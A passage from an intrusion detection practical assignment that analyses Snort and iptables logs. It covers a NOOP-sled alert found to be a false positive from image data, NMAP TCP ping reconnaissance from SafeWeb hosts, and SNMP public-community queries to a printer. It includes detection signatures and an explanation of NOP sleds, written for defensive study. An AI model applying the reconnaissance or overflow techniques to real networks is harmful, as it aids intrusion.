This is the practical assignment for William Stearns for the Intrusion Detection track at NS2000 in Monterey.

Background Information

Network

The testbed for this project was a live network at an academic institution. The two class C blocks used by this department were protected by a Linux iptables stateful packet filtering firewall.

This firewall is set up to allow inside users to make most any outbound connections, allow a small number of incoming services to a small number of specified machines, and log and drop all other traffic. This log information provides correlation to the main data.

IDS

The data for this project were gathered by a Snort 1.6.3 IDS sitting outside the Linux firewall, allowing it to capture what will generally be unsuccessful incoming attacks. Snort was configured to use both the standard snort IDS signatures and the August 3rd revision of the whitehats ArachNIDS intrusion signature database.

The network segment on which this IDS machine resides is the segment between the firewall and the main outbound router. As the line to the Internet is a T1, there should never be a point where the network traffic exceeds 1.5Mbps in either direction. As the IDS is a Pentium Pro 200 running only snort with 128M, a PCI network card, and almost no load at all, I sincerely doubt that there were many if any, dropped packets.

The system clock, and hence all log entries, show a timestamp that is 1:27:51 fast (ahead of an ntp-synchronized system clock on another system). If these detects were to be sent off to another ISP, this discrepancy and the original time zone would be included.

Granted, the correct fix is to regularly resynchronize the system clock on the IDS box, but this was determined after the raw data had been collected.

Snort log format

```
[**] OVERFLOW-NOOP-X86 [**]
11/10-19:25:00.380899 208.5.188.52:80 .> MY.SCHOOL.248.31:1650
TCP TTL:48 TOS:0x0 ID:45805  DF
*****PA* Seq: 0xCC333404   Ack: 0x9A8E4D2   Win: 0x4470
50 3B 4B 50 38 45 4A 3A 42 4C 48 4D 5B 60 6E 6C  P;KP8EJ:BLHM[`nl
```

The first line gives a description of the detect.

The next line gives the timestamp for the detect, the source IP address and port for the packet, and the destination IP address and port. As I mentioned earlier, the packets are assumed to be 1

hour, 27 minutes, and 51 seconds ahead of EST. I did not perform regression to see if the clock was drifiting even further ahead or behind.

For TCP packets, the Time-to-Live is next, along with the hex Type-of-Service value and the IP ID. The DF refers to the request that this packet not be fragmented, a common practice to avoid performance-robbing fragmentation.

The TCP flag fields are listed next; a letter indicates that the particular flag is turned on, an asterisk indicates that flag is turned off. The TCP sequence numbers are listed next, along with the tcp window - the largest amount of data that can be in flight (unacknowledged) at this instant.

The following lines are the content of the packet. The left hand side shows the hex representation, the right hand side gives the ascii representation for printable characters only. Decimal points are used when the character is unprintable.

Linux firewall log format

Firewall log entries from Linux' iptables firewalls use a single line for each packet.

```
Nov  5 04:02:25 gw kernel:  DROP  IN=eth0 OUT=eth1 SRC=MY.SCHOOL.16.47 DST=MY.
```

Like other syslog entries, each entry starts with a date, timestamp, hostname (gw in this case), and the fact that the kernel provided the log entry (in Linux' iptables, the kernel performs the packet filtering). The "DROP" entry is one chosen by the person creating the firewall; it could be any ascii string that provides clues as to why it is being logged. In this case, it simply refers to the fact that this packet is being caught by the generic "log and drop everything else" rules at the end of the firewall.

The remaining fields are not ordered. Here's a summary of the keys and their meanings:

Key	Meaning
IN=	Interface from which the packet arrived. (see 1)
OUT=	Interface through which the packet will leave the system. (see 1)
SRC=	The source IP address in the packet.
DST=	The destination IP address of the packet.
LEN=	The total packet length.
TOS=	The type of Service value, commonly 0 indicating no special priority handling needed.
PREC=	The top three bits of the TOS byte in the IP header. I don't know what these are used for.
TTL=	The current time to live of this packet.
ID=	The IP ID.
DF	If present, the Don't Fragment bit is set.
PROTO=	The protocol field. If numeric, a Unix /etc/protocols or Windows

	c:\windows\protocol file may provide the readable name.
SPT=	The source port of the packet, used for TCP and UDP only. 0-65535 are the legal values.
DPT=	The destination port of the packet, also for TCP and UDP and restricted to 0-65535.
WINDOW=	The TCP Window.
RES=	Any value set in the TCP reserved bits in bytes 12 and 13
ACK	The ACK flag is set.
FIN	The FIN flag is set.
URG	The URG flag is set.
SYN	The SYN flag is set.
PSH	The PSH flag is set.
RST	The RST flag is set.
UGRP=	Unknown...
FRAG:	The fragment offset used, if any.
OPT:	IP options follow, if any.
TYPE=	For ICMP packets, the packet type.
CODE=	For ICMP packets, the subcode.
MTU=	Max Transmit Unit field, reported in some ICMP responses.

1) Packets arriving at the system only have IN= set. Packets leaving the system have only OUT= set. Packets being forwarded through a iptables box acting as a router have both set.

Assigment 1 - Network detects

Detect 1

1. Source of trace:

The following trace was captured by Snort 1.6.3 on a dedicated Linux box outside the main firewall.

```
[**] OVERFLOW-NOOP-X86 [**]
11/10-19:25:00.380899 208.5.188.52:80 .> MY.SCHOOL.248.31:1650
TCP TTL:48 TOS:0x0 ID:45805  DF
*****PA* Seq: 0xCC333404   Ack: 0x9A8E4D2   Win: 0x4470
50 3B 4B 50 38 45 4A 3A 42 4C 48 4D 5B 60 6E 6C  P;KP8EJ:BLHM[`nl
56 63 63 4F 58 59 48 50 52 38 42 42 2C 39 3D 25  VccOXYHPR8BB,9=%
30 33 29 31 33 26 2F 2F 24 2A 24 21 26 2A 1D 22  03)13&//$*$!&*."
22 1C 22 20 19 1A 19 11 15 15 0D 13 11 07 0C 05  "." ............
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
00 00 0D 09 16 29 29 36 30 32 43 5E 54 62 62 61  .....))602C^Tbba
69 53 54 5E 22 2A 33 00 00 00 00 00 00 03 0A 0A  iST^"*3.........
09 0D 0F 09 05 0A 00 00 00 0D 0F 19 49 4C 69 41  ............ILiA
```

```
48 5B 1A 25 2D 2D 32 32 35 36 3A 32 39 41 39 3D  H[.%--2256:29A9=
44 38 48 4B 4C 4F 54 51 5B 5C 59 63 67 62 68 6D  D8HKLOTQ[\Ycgbhm
6B 73 73 78 80 85 7D 8A 8F 7F 8C 92 8A 90 95 89  kssx..}.........
90 95 84 8D 8F 85 8F 90 89 91 91 89 92 90 81 8D  ................
90 86 8F 90 86 90 90 8B 90 90 8D 90 90 8C 90 90  ................
90 90 90 8C 90 90 90 90 90 8F 90 90 91 90 90 91  ................
90 90 90 FF ED 13 F4 50 68 6F 74 6F 73 68 6F 70  .......Photoshop
20 33 2E 30 00 90 90 91 90 90 93 92 91 77 84 8C   3.0.........w..
65 76 80 67 71 7A 6D 77 7D 8E 92 93 91 90 90 90  ev.gqzmw}.......
90 90 90 90 90 90 90 90 90 90 90 91 90 90 90 90  ................
90 90 90 90 8F 90 90 91 90 90 8D 91 90 8B 91 90  ................
89 8F 90 89 90 90 85 8C 91 88 8C 8C 84 8E 91 87  ................
8E 8F 8C 8E 92 84 8D 8F 8E 8E 8E 4C 54 5A 56 58  ...........LTZVX
5E 53 5D 61 55 5B 5E 54 5F 66 60 67 67 62 65 6C  ^S]aU[^T_f`ggbel
60 6B 65 60 66 6B 60 65 69 61 6B 6B 66 64 6C 65  `ke`fk`eiakkfdle
6B 70 64 6A 6D 6C 70 73 66 6C 6F 5C 66 66 64 67  kpdjmlpsflo\ffdg
68 5D 64 6A 55 5F 62 4F 5B 5E 49 51 5A 40 4D 54  h]djU_bO[^IQZ@MT
43 4A 54 3F 4A 4E 40 4C 51 44 50 5B 3D 47 51 53  CJT?JN@LQDP[=GQS
5A 61 64 69 70 5F 66 71 58 64 66 67 6B 71 63 6B  Zadip_fqXdfgkqck
6B 59 63 60 4F 59 56 4A 51 52 3F 47 49 38 43 42  kYc`OYVJQR?GI8CB
2F 3E 3E 31 33 35 2D 2D 2F 25 2B 2C 20 25 2A 1A  />>135--/%+, %*.
25 27 20 26 22 1D 22 24 1C 20 21 19 1C 1A 15 19  %' &"."$. !.....
18 12 19 1A 12 15 0F 00 07 03 00 00 00 00 00 00  ................
00 00 00 09 0D 0C 00 03 05 19 1D 1C 1C 22 1E 1E  ............"..
21 20 19 20 1E 1C 20 22 25 29 2A 1D 26 22 22 25  ! . .. "%)*.&""%
25 2B 2F 32 35 39 38 38 3B 3E 38 41 43 45 49 4A  %+/25988;>8ACEIJ
43 4B 4E 4B 54 53 50 59 5D 60 62 6B 69 6C 78 6B  CKNKTSPY]`bkilxk
73 7A 69 70 78 61 64 6E 4F 56 63 4E 54 62 56 60  szipxadnOVcNTbV`
6A 64 6D 76 76 82 8C 7D 86 8B 7C 88 8D 84 90 91  jdmvv..}..|.....
82 8D 90 88 91 90 8E 90 90 8A 90 90 91 90 90 90  ................
90 90 8F 90 90 8F 90 90 91 90 90 90 90 90 90 90  ................
90 8F 90 90 90 90 90 90 90 90 90 90 90 95 95 91  ................
94 93 91 94 94 92 92 93 91 93 92 91 94 90 90 90  ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90  ................
90 90 90 90 90 90 90 90 90 90 92 90 90 8D 90 90  ................
87 8F 90 84 8D 90 8C 8E 90 84 90 91 8C 91 90 87  ................
8B 8E 85 89 91 87 8A 91 90 89 8C 5E 61 63 5C 5E  ...........^ac\^
65 5F 62 65 5D 60 65 5D 62 63 5D 67 68 60 68 6A  e_be]`e]bc]gh`hj
63 64 6C 63 6A 70 66 67 6C 67 69 6A 66 6A 6E 60  cdlcjpfglgijfjn`
69 6D 5E 68 70 5F 67 68 5A 62 69 63 5F 65 56 5F  im^hp_ghZbic_eV_
61 50 59 65 56 58 61 54 54 5F 4F 5A 61 4B 58 5C  aPYeVXaTT_OZaKX\
4A 55 5C 4B 54 5A 4D 4D 53 4A 54 5D 42 4E 54 41  JU\KTZMMSJT]BNTA
4D 51 3A 48 4F 39 44 50 35 3F 4D 4E 55 61 74 72  MQ:HO9DP5?MNUatr
7B 74 72 7B 78 7A 7F 78 82 7F 72 7A 7C 69 74 73  {tr{xz.x..rz|its
59 65 67 50 5B 5F 51 52 53 44 4F 4F 3E 47 4E 39  YegP[_QRSDOO>GN9
47 47 3A 3F 40 35 3A 3E 35 3A 3A 36 33 37 2C 35  GG:?@5:>5::637,5
33 2B 31 2C 30 2F 2F 2B 2F 31 29 30 2D 25 2F 2F  3+1,0//+/1)0-%//
2B 2F 31 2A 31 31 2D 30 35 2A 2F 31 29 31 35 2A  +/1*11-05*/1)15*
30 32 31 32 38 2A 32 38 24 2C 33 1E 21 2B 22 22  02128*28$,3.!+""
2B 1E 25 2F 26 31 35 40 45 51 4D 4C 54 43 4E 50  +.%/&15@EQMLTCNP
4D 56 5B 5B 5A 64 5B 62 67 60 68 6C 69 73 77 6F  MV[[Zd[bg`hliswo
78 7E 6E 76 7B 62 6B 6C 67 73 73 71 7F           x~nv{bklgssq.

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
```

2. Detect was generated by:

Snort provided the detect from the following rule in overflow-lib:

```
alert tcp !$HOME_NET any .> $HOME_NET any (msg:"OVERFLOW-NOOP-X86";flags:PA; c
```

3. Probability the source address was spoofed:

Both the source and destination addresses are almost certainly real, for reasons I'll provide in section 5.

4. Description of attack:

The rule is looking for the no-op opcode in the ix86 processor architecture. A common technique in buffer overflows where the exact return address may not be known, is to put a long strings of no-ops (one byte instructions to the processor that tell it to do nothing). No matter where in this string of no-ops the execution resumes, the processor will run through a bunch of them and then execute the trojan code at the end.

Snort saw the string of "90" bytes and assumed this was an overflow attempt.

There's no CVE number associated with generic buffer overflows, but CVE-1999-0002, CVE-1999-0003, CVE-1999-0005, and CVE-1999-0006 are examples of specific buffer overflows under Linux.

5. Attack mechanism:

The description field raised my interest; buffer overflows are a rather blatant sign of hostile traffic. But there's more to this than just a warning from an IDS.

For starters, the source port is 80 - a web server - and the destination port is an ephemeral port. Technically, 1650/tcp is reserved for a service called nkd, but that's not one running on this particular machine; verified with netstat and ps. The ack flag means this is probably part of an established connection. The moderate sized TCP window may indicate that this connection has already transferred some data successfully and the window has opened up from some small starting value (this is just a guess, though).

I spoke with the owner of this particular machine. It's technically a dual boot machine, but runs exclusively Linux in practice. From the timestamp and the web content returned from the web server on the 208.5.188.52 machine, we were able to determine that this was, in fact, a web site that the owner had been browsing at that time.

There's one other very useful clue in this; the following two lines in the ascii representation of the packet data:

```
90 90 90 FF ED 13 F4 50 68 6F 74 6F 73 68 6F 70  .......Photoshop
20 33 2E 30 00 90 90 91 90 90 93 92 91 77 84 8C   3.0.........w..
```

Bingo! I'll lay good odds that this is a gif or tiff image returned from the web server, and the

image was created or last edited in Adobe Photoshop 3.0. The image just happened to have a series of 16 0x90 bytes

6. Correlations:

Normally, I'd look for dropped packets in the Linux firewall logs from this particular machine. In this case, trying to prove that this is benign traffic, I get my correlation from the fact that the firewall did *not* report any denied packets either to or from that particular web server address.

7. Evidence of active targeting:

In this case of a false positive detect, there is no active targeting or reconnaissance involved.

8. Severity:

Severity = (Cruciality + Lethality) - (System Countermeasures + Network Countermeasures)

Cruciality = 1; the local machine is a personal workstation.

Lethality = 0; there was neither an attack nor reconnaissance.

System Countermeasures = 3; the system is partly locked down and moderately well upgraded.

Network Countermeasures = 5; the network responded appropriately to the traffic.

Severity = (1 + 0) - (3 + 5) = -7; appropriately low for a false positive.

9. Defensive recommendation:

The firewall correctly identified this as response traffic from an outbound web request and correctly allowed it to pass back into the internal network. No changes to security policy are needed.

10. Multiple choice test question, write a question based on the trace and your analysis with your answer:

Which of the following answers is likely to be true about the following detect:

```
[**] OVERFLOW-NOOP-X86 [**]
11/10-19:25:00.380899 208.5.188.52:80 .> MY.SCHOOL.248.31:1650
TCP TTL:48 TOS:0x0 ID:45805  DF
*****PA* Seq: 0xCC333404   Ack: 0x9A8E4D2   Win: 0x4470
```

- A. This exploit targets PowerPC systems.
- B. It is a standard POP reply packet.
- C. It is a buffer overflow exploit.
- D. If it has not reached its destination in 86 hops, the packet will be discarded.

Answer, C; while it may not be a buffer overflow and wasn't in this one case, it generally will be.

Detect 2

Background

MY.SCHOOL.248.227 is our mail server and one of our DNS servers. It runs RedHat Linux 6.2.

1. Source of trace:

The following trace was captured by Snort 1.6.3 on a dedicated Linux box outside the main firewall.

```
[**] IDS028 - PING NMAP TCP [**]
11/14-17:40:27.541255 216.104.228.102:80 .> MY.SCHOOL.248.227:45833
TCP TTL:46 TOS:0x0 ID:22052
******A* Seq: 0x2F9   Ack: 0x0   Win: 0x400

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
[**] IDS028 - PING NMAP TCP [**]
11/14-17:40:32.587284 216.104.228.102:80 .> MY.SCHOOL.248.227:45833
TCP TTL:46 TOS:0x0 ID:22328
******A* Seq: 0x31E   Ack: 0x0   Win: 0x400

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
[**] IDS028 - PING NMAP TCP [**]
11/14-17:40:37.582129 216.104.228.134:80 .> MY.SCHOOL.248.227:45833
TCP TTL:46 TOS:0x0 ID:22528
******A* Seq: 0x336   Ack: 0x0   Win: 0x400

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
```

Our firewall also reports a number of suspect packets from 216.104.228.102 and 216.104.228.134 from Nov 9th through November 16th. The following is a summary of those. The timestamp and IP ID fields were removed. "uniq -c" provides a count of how many identical lines of each type are present; the count is the number in the far lefthand column.

```
(Originally 286 entries, pared down to 28 unique)

17   DROP  IN=eth0 OUT=eth1 SRC=216.104.228.102 DST=MY.SCHOOL.249.108 LEN=38 T
17   DROP  IN=eth0 OUT=eth1 SRC=216.104.228.102 DST=MY.SCHOOL.249.108 LEN=38 T
34   DROP  IN=eth0 OUT=eth1 SRC=216.104.228.102 DST=MY.SCHOOL.249.108 LEN=38 T
12   DROP  IN=eth0 OUT=eth1 SRC=216.104.228.102 DST=MY.SCHOOL.249.108 LEN=40 T
12   DROP  IN=eth0 OUT=eth1 SRC=216.104.228.102 DST=MY.SCHOOL.249.108 LEN=40 T
11   DROP  IN=eth0 OUT=eth1 SRC=216.104.228.102 DST=MY.SCHOOL.249.108 LEN=40 T
12   DROP  IN=eth0 OUT=eth1 SRC=216.104.228.102 DST=MY.SCHOOL.249.108 LEN=40 T
10   DROP  IN=eth0 OUT=eth1 SRC=216.104.228.102 DST=MY.SCHOOL.249.108 LEN=40 T
10   DROP  IN=eth0 OUT=eth1 SRC=216.104.228.102 DST=MY.SCHOOL.249.108 LEN=40 T
 1   DROP  IN=eth0 OUT=eth1 SRC=216.104.228.102 DST=MY.SCHOOL.249.108 LEN=40 T
12   DROP  IN=eth0 OUT=eth1 SRC=216.104.228.102 DST=MY.SCHOOL.249.108 LEN=40 T
12   DROP  IN=eth0 OUT=eth1 SRC=216.104.228.102 DST=MY.SCHOOL.249.108 LEN=40 T
10   DROP  IN=eth0 OUT=eth1 SRC=216.104.228.102 DST=MY.SCHOOL.249.108 LEN=40 T
```

```
 1   DROP  IN=eth0 OUT=eth3 SRC=216.104.228.102 DST=MY.SCHOOL.248.227 LEN=38 T
 1   DROP  IN=eth0 OUT=eth3 SRC=216.104.228.102 DST=MY.SCHOOL.248.227 LEN=38 T
 2   DROP  IN=eth0 OUT=eth3 SRC=216.104.228.102 DST=MY.SCHOOL.248.227 LEN=38 T
 2   DROP  IN=eth0 OUT=eth3 SRC=216.104.228.102 DST=MY.SCHOOL.248.227 LEN=40 T
 2   DROP  IN=eth0 OUT=eth3 SRC=216.104.228.102 DST=MY.SCHOOL.248.227 LEN=40 T
 2   DROP  IN=eth0 OUT=eth3 SRC=216.104.228.102 DST=MY.SCHOOL.248.227 LEN=40 T
10   DROP  IN=eth0 OUT=eth3 SRC=216.104.228.102 DST=MY.SCHOOL.248.228 LEN=38 T
10   DROP  IN=eth0 OUT=eth3 SRC=216.104.228.102 DST=MY.SCHOOL.248.228 LEN=38 T
20   DROP  IN=eth0 OUT=eth3 SRC=216.104.228.102 DST=MY.SCHOOL.248.228 LEN=38 T
20   DROP  IN=eth0 OUT=eth3 SRC=216.104.228.102 DST=MY.SCHOOL.248.228 LEN=40 T
20   DROP  IN=eth0 OUT=eth3 SRC=216.104.228.102 DST=MY.SCHOOL.248.228 LEN=40 T
20   DROP  IN=eth0 OUT=eth3 SRC=216.104.228.102 DST=MY.SCHOOL.248.228 LEN=40 T
 2   MAIL  IN=eth0 OUT=eth3 SRC=216.104.228.102 DST=MY.SCHOOL.248.227 LEN=40 T
 2   MAIL  IN=eth0 OUT=eth3 SRC=216.104.228.102 DST=MY.SCHOOL.248.227 LEN=40 T
 2   MAIL  IN=eth0 OUT=eth3 SRC=216.104.228.102 DST=MY.SCHOOL.248.227 LEN=40 T
```

```
and: (Originally 318 entries, pared down to 29 unique)
```

```
18 DROP  IN=eth0 OUT=eth1 SRC=216.104.228.134 DST=MY.SCHOOL.249.108 LEN=38 TOS
18 DROP  IN=eth0 OUT=eth1 SRC=216.104.228.134 DST=MY.SCHOOL.249.108 LEN=38 TOS
35 DROP  IN=eth0 OUT=eth1 SRC=216.104.228.134 DST=MY.SCHOOL.249.108 LEN=38 TOS
18 DROP  IN=eth0 OUT=eth1 SRC=216.104.228.134 DST=MY.SCHOOL.249.108 LEN=40 TOS
12 DROP  IN=eth0 OUT=eth1 SRC=216.104.228.134 DST=MY.SCHOOL.249.108 LEN=40 TOS
18 DROP  IN=eth0 OUT=eth1 SRC=216.104.228.134 DST=MY.SCHOOL.249.108 LEN=40 TOS
12 DROP  IN=eth0 OUT=eth1 SRC=216.104.228.134 DST=MY.SCHOOL.249.108 LEN=40 TOS
15 DROP  IN=eth0 OUT=eth1 SRC=216.104.228.134 DST=MY.SCHOOL.249.108 LEN=40 TOS
10 DROP  IN=eth0 OUT=eth1 SRC=216.104.228.134 DST=MY.SCHOOL.249.108 LEN=40 TOS
 3 DROP  IN=eth0 OUT=eth1 SRC=216.104.228.134 DST=MY.SCHOOL.249.108 LEN=40 TOS
 2 DROP  IN=eth0 OUT=eth1 SRC=216.104.228.134 DST=MY.SCHOOL.249.108 LEN=40 TOS
12 DROP  IN=eth0 OUT=eth1 SRC=216.104.228.134 DST=MY.SCHOOL.249.108 LEN=40 TOS
12 DROP  IN=eth0 OUT=eth1 SRC=216.104.228.134 DST=MY.SCHOOL.249.108 LEN=40 TOS
10 DROP  IN=eth0 OUT=eth1 SRC=216.104.228.134 DST=MY.SCHOOL.249.108 LEN=40 TOS
 2 DROP  IN=eth0 OUT=eth1 SRC=216.104.228.134 DST=MY.SCHOOL.249.108 LEN=40 TOS
 1 DROP  IN=eth0 OUT=eth3 SRC=216.104.228.134 DST=MY.SCHOOL.248.227 LEN=38 TOS
 1 DROP  IN=eth0 OUT=eth3 SRC=216.104.228.134 DST=MY.SCHOOL.248.227 LEN=38 TOS
 2 DROP  IN=eth0 OUT=eth3 SRC=216.104.228.134 DST=MY.SCHOOL.248.227 LEN=40 TOS
 2 DROP  IN=eth0 OUT=eth3 SRC=216.104.228.134 DST=MY.SCHOOL.248.227 LEN=40 TOS
 1 DROP  IN=eth0 OUT=eth3 SRC=216.104.228.134 DST=MY.SCHOOL.248.227 LEN=40 TOS
10 DROP  IN=eth0 OUT=eth3 SRC=216.104.228.134 DST=MY.SCHOOL.248.228 LEN=38 TOS
10 DROP  IN=eth0 OUT=eth3 SRC=216.104.228.134 DST=MY.SCHOOL.248.228 LEN=38 TOS
20 DROP  IN=eth0 OUT=eth3 SRC=216.104.228.134 DST=MY.SCHOOL.248.228 LEN=38 TOS
29 DROP  IN=eth0 OUT=eth3 SRC=216.104.228.134 DST=MY.SCHOOL.248.228 LEN=40 TOS
20 DROP  IN=eth0 OUT=eth3 SRC=216.104.228.134 DST=MY.SCHOOL.248.228 LEN=40 TOS
20 DROP  IN=eth0 OUT=eth3 SRC=216.104.228.134 DST=MY.SCHOOL.248.228 LEN=40 TOS
 2 MAIL  IN=eth0 OUT=eth3 SRC=216.104.228.134 DST=MY.SCHOOL.248.227 LEN=40 TOS
 2 MAIL  IN=eth0 OUT=eth3 SRC=216.104.228.134 DST=MY.SCHOOL.248.227 LEN=40 TOS
 1 MAIL  IN=eth0 OUT=eth3 SRC=216.104.228.134 DST=MY.SCHOOL.248.227 LEN=40 TOS
```

We have a mix of ICMP echo requests/pings, 445/udp (microsoft-ds), 443/tcp (https), 80/tcp (http), and 13570/udp and 13568/tcp (ephemeral, probably), with all except the ICMP going to ephemeral ports on the local machines. None of these are parts of existing connections; if they had been, they would have been allowed by a previous firewall rule allowing any packets that are part of an established connection.

This one gets my blood pressure up. Why? If we had been using a stateless firewall instead of a

stateful one, we would have had to allow all of the above in (with the possible exception of the 445/udp) and would never have known that these were not part of an established connection. They would have gotten under the radar. Ouch!

2. Detect was generated by:

The following rule in the ping-lib triggered the snort detects:

```
ping-lib:alert tcp !$HOME_NET any .> $HOME_NET any (msg:"IDS028 - PING NMAP TC
```

The firewall log entries came from the following rules:

```
iptables -A FORWARD -p tcp -s 0/0 -d MY.SCHOOL.248.227/32 -j LOG --log-level i
iptables -A FORWARD -s 0/0 -j LOG --log-level info --log-prefix " DROP  "
```

3. Probability the source address was spoofed:

As we'll see in section 4, the attacker hopes to acquire information about the target machines. If the source address were spoofed, that information would not get back to them, making the reconnaissance useless. Granted, mapping tools could always send packets from some additional bogus IP's in addition to the real IP's, but our logs don't support that.

4. Description of attack:

Here's what we have:

- A specific NMAP TCP ping - the Ack=0 is a good tipoff.
- Additional TCP packets that would invisibly pass a stateless firewall.
- Different flags used (SYN, RST, ACK), presumably to pierce different types of firewalls.
- The probing machines do not run any servers on at least ports 80 and 443 - manually verified.

Because of the different types of probes used from two machines, I'm reasonably confident that this is straight reconnaissance. As these are not full port scans and are not aiming at ports with known vulnerabilities, I would guess they're either attempting to determine the operating system of the target machine or timing the network distance to the local machines in question.

This may not strictly be considered triangulation, as triangulation really needs probe machines that have some network distance from each other. Tracerouting to the two machines shows the routes to them diverging a little near the end of the traceroute, but not by much. Tough to say without more active information gathering.

One other interesting piece of information; the machine names. Traceroute'ing to the mapping machines returns the same name for both: "non-invasive-proximity-checking-device.safeweb.com". I had briefly considered using this in my argument that these were, in fact, mapping machines, but decided not to. If they were truly hostile machines, that name might be enough to convince beginning IDS analysts to look elsewhere for threats.

The fact that that name resolves to two additional IP addresses (216.104.228.138, 216.104.228.106 - both exactly 4 IP's above my original pair) makes me think these might work in pairs in mapping. It would be interesting to know whether some supernet containing these 4 machines is in fact filled with these mapping units.

There's no CVE number of which I'm aware that deals with network mapping or triangulation.

5. Attack mechanism:

All of the above packets are hoping for some kind of response from the target systems, whether the reponses are echo replies, ICMP port Unreachable, ICMP administratively prohibited, or TCP resets. The small number of ports involved and the fact that these are probed repeatedly makes me think they're not looking for open ports; rather, they're probably looking for the round trip time to the target systems.

6. Correlations:

In this case, both Snort and the firewall agree that these mapping machines are sending in traffic that is not directly related to an outbound request. It may be that some query to their site triggered the mapping process, but the firewall still treats these probes as new connections, as it should.

7. Evidence of active targeting:

The only machines targeted in this were the mail and DNS server and the .108 machine. I've not been able to locate this machine on our network, so I can't say for sure what its function or operating system were.

I'll put forth an unconfirmed guess that these mapping machines may be responding to incoming DNS queries by mapping the distance to the DNS server that sent forth the original DNS request. I'd need some more info to confirm this.

8. Severity:

Severity = (Cruciality + Lethality) - (System Countermeasures + Network Countermeasures)

Cruciality=5; we depend on the DNS server and a breakin could be used in getting to other systems. By changing the IP addresses associated with other crucial machines, the attacker could make it easier to break into them.

Lethality=1; while technically this is reconnaissance, it appears the information they're acquiring may be solely network timing.

Sysem Countermeasures=4; systems are generally locked down quite well, but the patches may be a bit out of date.

Network countermeasures=5; the firewall correctly blocked the packets as they were not part of

an existing conversation, and logged that fact for later analysis by yours truly.

Severity = (5 + 1) - (4 + 5) = -3 ; not cause for alarm.

9. Defensive recommendation:

As the probes do not appear to be directly hostile, but rather gathering information on network distance, and the Severity rating is negative, I don't recommend any change in network practices.

10. Multiple choice test question, write a question based on the trace and your analysis with your answer:

What sets this NMAP ping off from a standard web reply?

```
[**] IDS028 - PING NMAP TCP [**]
11/14-17:40:32.587284 216.104.228.102:80 .> MY.SCHOOL.248.227:45833
TCP TTL:46 TOS:0x0 ID:22328
******A* Seq: 0x31E   Ack: 0x0   Win: 0x400
```

- A. The Acknowledgement number of 0.
- B. The unusually high port of 45833 on the client side.
- C. A Time to Live value larger than the maximum of 16.
- D. The lack of any IP options.

Answer, A. Hopefully someone unfamiliar with the NMAP ping can still eliminate the other choices.

Closing remark

A quote from their web site:

```
SafeWeb servers act as trusted intermediaries between a user and the rest of t
Our goal is to protect the user's identity from the Web sites he visits, and p
open ourselves to the constant scrutiny of multiple independent groups to ensu
```

It's rather a shame that they don't give the same privacy control to the rest of the Internet.

Detect 3

Background

MY.SCHOOL.248.15 is a Laser printer on our network.

1. Source of trace:

The following trace was captured by Snort 1.6.3 on a dedicated Linux box outside the main firewall.

```
[**] SNMP public access [**]
11/11-19:05:16.323419 MY.SCHOOL.40.110:1030 .> MY.SCHOOL.248.15:161
UDP TTL:123 TOS:0x0 ID:16920
Len: 86
30 4C 02 01 00 04 06 70 75 62 6C 69 63 A0 3F 02  0L.....public.?.
02 01 A9 02 01 00 02 01 00 30 33 30 0F 06 0B 2B  .........030...+
06 01 02 01 19 03 02 01 05 01 05 00 30 0F 06 0B  ............0...
2B 06 01 02 01 19 03 05 01 01 01 05 00 30 0F 06  +............0..
0B 2B 06 01 02 01 19 03 05 01 02 01 05 00        .+............

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
[**] SNMP public access [**]
11/11-19:05:28.743106 MY.SCHOOL.40.110:1030 .> MY.SCHOOL.248.15:161
UDP TTL:123 TOS:0x0 ID:16921
Len: 86
30 4C 02 01 00 04 06 70 75 62 6C 69 63 A0 3F 02  0L.....public.?.
02 01 A9 02 01 00 02 01 00 30 33 30 0F 06 0B 2B  .........030...+
06 01 02 01 19 03 02 01 05 01 05 00 30 0F 06 0B  ............0...
2B 06 01 02 01 19 03 05 01 01 01 05 00 30 0F 06  +............0..
0B 2B 06 01 02 01 19 03 05 01 02 01 05 00        .+............

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
```

Identical traces snipped

```
[**] SNMP public access [**]
11/11-23:46:41.739934 MY.SCHOOL.40.110:1030 .> MY.SCHOOL.248.15:161
UDP TTL:123 TOS:0x0 ID:18335
Len: 86
30 4C 02 01 00 04 06 70 75 62 6C 69 63 A0 3F 02  0L.....public.?.
02 01 DF 02 01 00 02 01 00 30 33 30 0F 06 0B 2B  .........030...+
06 01 02 01 19 03 02 01 05 01 05 00 30 0F 06 0B  ............0...
2B 06 01 02 01 19 03 05 01 01 01 05 00 30 0F 06  +............0..
0B 2B 06 01 02 01 19 03 05 01 02 01 05 00        .+............

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
[**] SNMP public access [**]
11/11-23:46:47.746486 MY.SCHOOL.40.110:1030 .> MY.SCHOOL.248.15:161
UDP TTL:123 TOS:0x0 ID:18336
Len: 86
30 4C 02 01 00 04 06 70 75 62 6C 69 63 A0 3F 02  0L.....public.?.
02 01 DF 02 01 00 02 01 00 30 33 30 0F 06 0B 2B  .........030...+
06 01 02 01 19 03 02 01 05 01 05 00 30 0F 06 0B  ............0...
2B 06 01 02 01 19 03 05 01 01 01 05 00 30 0F 06  +............0..
0B 2B 06 01 02 01 19 03 05 01 02 01 05 00        .+............

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
```

The pattern is that On Nov 11th between (timestamp corrected) 17:37:25 to 22:18:56, a block of four packets would arrive approximately every ten minutes. Each block of four showed up in a 20 second window.

2. Detect was generated by:

Snort's misc-lib library contains the following rule:

```
misc-lib:alert udp any any .> $HOME_NET 161 (msg: "SNMP public access"; conten
```

3. Probability the source address was spoofed:

